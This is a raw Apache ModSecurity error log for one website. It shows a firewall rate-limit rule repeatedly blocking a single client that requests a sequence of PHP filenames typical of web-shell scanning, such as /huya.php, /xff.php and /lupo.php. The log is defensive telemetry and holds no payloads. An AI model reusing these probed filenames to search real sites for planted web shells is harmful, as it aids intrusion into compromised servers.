[Fri Apr 17 01:38:44.178738 2026] [:error] [pid 43385:tid 43399] [client 172.213.224.11:28114] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aeEepMnIxkJaUI8KNs4lywAAAAo"]
[Fri Apr 17 01:38:44.741024 2026] [:error] [pid 43385:tid 43401] [client 172.213.224.11:49652] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aeEepMnIxkJaUI8KNs4lzAAAAAw"]
[Fri Apr 17 01:38:45.232581 2026] [:error] [pid 43386:tid 43423] [client 172.213.224.11:49907] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aeEepe91GAVgUfhPVDHLywAAAEM"]
[Fri Apr 17 01:38:45.755872 2026] [:error] [pid 43386:tid 43430] [client 172.213.224.11:49634] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aeEepe91GAVgUfhPVDHLzAAAAEo"]
[Fri Apr 17 01:38:46.369275 2026] [:error] [pid 43387:tid 43457] [client 172.213.224.11:27097] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aeEepiBNsONqHxWTakU_AwAAAIY"]
[Fri Apr 17 01:38:46.912973 2026] [:error] [pid 4086:tid 4100] [client 172.213.224.11:27101] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aeEepllz7gxl_exM0FpKMgAAAUw"]
[Fri Apr 17 01:38:47.517863 2026] [:error] [pid 26480:tid 26502] [client 172.213.224.11:49635] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "aeEepwwLDJKTQNfarA19gAAAAdQ"]
[Fri Apr 17 01:38:48.174148 2026] [:error] [pid 43482:tid 43499] [client 172.213.224.11:49898] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "aeEeqD9SZnuKxlHrct2kGQAAAM8"]
[Fri Apr 17 01:38:48.780990 2026] [:error] [pid 11854:tid 11878] [client 172.213.224.11:27618] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "aeEeqNxJCSIaqP1XSdaboQAAAlU"]
[Fri Apr 17 01:38:49.329755 2026] [:error] [pid 11692:tid 11701] [client 172.213.224.11:27612] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "aeEeqc1AYuhm4BZwKNocZQAAAgQ"]
[Fri Apr 17 01:38:49.935824 2026] [:error] [pid 26480:tid 26506] [client 172.213.224.11:27586] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeEeqQwLDJKTQNfarA19ggAAAdg"]
[Fri Apr 17 01:38:50.529359 2026] [:error] [pid 43386:tid 43445] [client 172.213.224.11:27602] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeEequ91GAVgUfhPVDHL1AAAAFg"]
[Fri Apr 17 01:38:51.158533 2026] [:error] [pid 11854:tid 11869] [client 172.213.224.11:27645] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeEeq9xJCSIaqP1XSdabowAAAkw"]
[Fri Apr 17 01:38:51.754990 2026] [:error] [pid 26480:tid 26489] [client 172.213.224.11:49869] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeEeqwwLDJKTQNfarA19hAAAAcc"]
[Fri Apr 17 01:38:52.398402 2026] [:error] [pid 26102:tid 26116] [client 172.213.224.11:28099] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ewp.php"] [unique_id "aeEerP127aFqw6ALdngZNQAAAYs"]
[Fri Apr 17 01:38:52.968747 2026] [:error] [pid 26480:tid 26496] [client 172.213.224.11:28098] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ewp.php"] [unique_id "aeEerAwLDJKTQNfarA19hQAAAc4"]
[Fri Apr 17 01:38:53.698660 2026] [:error] [pid 11854:tid 11862] [client 172.213.224.11:27110] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ewp.php"] [unique_id "aeEerdxJCSIaqP1XSdabpQAAAkU"]
[Fri Apr 17 01:38:54.245843 2026] [:error] [pid 43482:tid 43495] [client 172.213.224.11:49600] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ewp.php"] [unique_id "aeEerj9SZnuKxlHrct2kHQAAAMs"]
[Fri Apr 17 01:38:54.821127 2026] [:error] [pid 43385:tid 43389] [client 172.213.224.11:27108] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeEersnIxkJaUI8KNs4l1wAAAAA"]
[Fri Apr 17 01:38:55.401278 2026] [:error] [pid 43385:tid 43404] [client 172.213.224.11:27595] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeEer8nIxkJaUI8KNs4l2gAAAA8"]
[Fri Apr 17 01:38:56.060265 2026] [:error] [pid 43385:tid 43399] [client 172.213.224.11:28108] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeEesMnIxkJaUI8KNs4l3QAAAAo"]
[Fri Apr 17 01:38:56.827334 2026] [:error] [pid 43385:tid 43408] [client 172.213.224.11:49630] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeEesMnIxkJaUI8KNs4l4QAAABM"]
[Fri Apr 17 01:38:57.373660 2026] [:error] [pid 43385:tid 43411] [client 172.213.224.11:49604] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nwflm.php"] [unique_id "aeEescnIxkJaUI8KNs4l4gAAABU"]
[Fri Apr 17 01:38:57.912098 2026] [:error] [pid 11692:tid 11709] [client 172.213.224.11:49868] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nwflm.php"] [unique_id "aeEesc1AYuhm4BZwKNoccQAAAgw"]
[Fri Apr 17 01:38:58.602579 2026] [:error] [pid 11692:tid 11706] [client 172.213.224.11:27112] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nwflm.php"] [unique_id "aeEess1AYuhm4BZwKNocdQAAAgk"]
[Fri Apr 17 01:38:59.131126 2026] [:error] [pid 43386:tid 43427] [client 172.213.224.11:27121] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nwflm.php"] [unique_id "aeEes-91GAVgUfhPVDHL4AAAAEc"]
[Fri Apr 17 01:38:59.788837 2026] [:error] [pid 43386:tid 43425] [client 172.213.224.11:49627] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeEes-91GAVgUfhPVDHL4QAAAEU"]
[Fri Apr 17 01:39:00.413637 2026] [:error] [pid 43386:tid 43442] [client 172.213.224.11:27622] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeEetO91GAVgUfhPVDHL4wAAAFU"]
[Fri Apr 17 01:39:00.984204 2026] [:error] [pid 43386:tid 43426] [client 172.213.224.11:49647] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeEetO91GAVgUfhPVDHL5QAAAEY"]
[Fri Apr 17 01:39:01.704156 2026] [:error] [pid 43386:tid 43434] [client 172.213.224.11:49867] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeEete91GAVgUfhPVDHL6AAAAE4"]
[Fri Apr 17 01:39:02.361356 2026] [:error] [pid 26480:tid 26490] [client 172.213.224.11:27093] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeEetgwLDJKTQNfarA19hwAAAcg"]
[Fri Apr 17 01:39:02.933622 2026] [:error] [pid 43482:tid 43487] [client 172.213.224.11:27596] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeEetj9SZnuKxlHrct2kHwAAAMM"]
[Fri Apr 17 01:39:03.412836 2026] [:error] [pid 43482:tid 43503] [client 172.213.224.11:49639] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeEetz9SZnuKxlHrct2kIAAAANM"]
[Fri Apr 17 01:39:03.983574 2026] [:error] [pid 43385:tid 43390] [client 172.213.224.11:49882] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeEet8nIxkJaUI8KNs4l6wAAAAE"]
[Fri Apr 17 01:39:04.476792 2026] [:error] [pid 43385:tid 43405] [client 172.213.224.11:27127] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeEeuMnIxkJaUI8KNs4l7QAAABA"]
[Fri Apr 17 01:39:05.035675 2026] [:error] [pid 4086:tid 4105] [client 172.213.224.11:49631] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeEeuVlz7gxl_exM0FpKOAAAAVE"]
[Fri Apr 17 01:39:05.571898 2026] [:error] [pid 43385:tid 43391] [client 172.213.224.11:49877] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeEeucnIxkJaUI8KNs4l9AAAAAI"]
[Fri Apr 17 01:39:06.211275 2026] [:error] [pid 4086:tid 4098] [client 172.213.224.11:49903] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeEeullz7gxl_exM0FpKOQAAAUo"]
[Fri Apr 17 01:39:06.942360 2026] [:error] [pid 26102:tid 26128] [client 172.213.224.11:27588] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aeEeuv127aFqw6ALdngZOQAAAZc"]
[Fri Apr 17 01:39:07.519569 2026] [:error] [pid 43385:tid 43407] [client 172.213.224.11:27104] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aeEeu8nIxkJaUI8KNs4l_AAAABI"]
[Fri Apr 17 01:39:08.258056 2026] [:error] [pid 43385:tid 43396] [client 172.213.224.11:49917] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aeEevMnIxkJaUI8KNs4mBgAAAAc"]
[Fri Apr 17 01:39:08.802887 2026] [:error] [pid 43385:tid 43415] [client 172.213.224.11:49913] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aeEevMnIxkJaUI8KNs4mCQAAABg"]
[Fri Apr 17 01:39:09.464659 2026] [:error] [pid 4086:tid 4107] [client 172.213.224.11:27624] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aeEevVlz7gxl_exM0FpKOgAAAVM"]
[Fri Apr 17 01:39:10.077551 2026] [:error] [pid 43482:tid 43506] [client 172.213.224.11:27133] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aeEevj9SZnuKxlHrct2kIgAAANY"]
[Fri Apr 17 01:39:11.103685 2026] [:error] [pid 43386:tid 43432] [client 172.213.224.11:27617] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aeEev-91GAVgUfhPVDHL6gAAAEw"]
[Fri Apr 17 01:39:11.615667 2026] [:error] [pid 11692:tid 11712] [client 172.213.224.11:27086] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aeEev81AYuhm4BZwKNocgAAAAg8"]
[Fri Apr 17 01:39:12.188533 2026] [:error] [pid 11692:tid 11709] [client 172.213.224.11:49645] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aeEewM1AYuhm4BZwKNochwAAAgw"]
[Fri Apr 17 01:39:12.706874 2026] [:error] [pid 11692:tid 11697] [client 172.213.224.11:49653] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aeEewM1AYuhm4BZwKNocjAAAAgA"]
[Fri Apr 17 01:39:13.414949 2026] [:error] [pid 11692:tid 11717] [client 172.213.224.11:27869] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aeEewc1AYuhm4BZwKNockAAAAhQ"]
[Fri Apr 17 01:39:14.079548 2026] [:error] [pid 43482:tid 43501] [client 172.213.224.11:19516] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aeEewj9SZnuKxlHrct2kIwAAANE"]
[Fri Apr 17 01:39:14.663624 2026] [:error] [pid 26480:tid 26503] [client 172.213.224.11:27882] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aeEewgwLDJKTQNfarA19jgAAAdU"]
[Fri Apr 17 01:39:15.233873 2026] [:error] [pid 43385:tid 43412] [client 172.213.224.11:49894] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aeEew8nIxkJaUI8KNs4mFAAAABY"]
[Fri Apr 17 01:39:15.819188 2026] [:error] [pid 26480:tid 26487] [client 172.213.224.11:49865] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aeEewwwLDJKTQNfarA19kQAAAcU"]
[Fri Apr 17 01:39:16.400381 2026] [:error] [pid 11854:tid 11869] [client 172.213.224.11:28097] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aeEexNxJCSIaqP1XSdabsQAAAkw"]
[Fri Apr 17 01:39:17.028394 2026] [:error] [pid 11854:tid 11880] [client 172.213.224.11:27081] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aeEexdxJCSIaqP1XSdabswAAAlc"]
[Fri Apr 17 01:39:17.723165 2026] [:error] [pid 43387:tid 43461] [client 172.213.224.11:49611] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aeEexSBNsONqHxWTakU_BgAAAIo"]
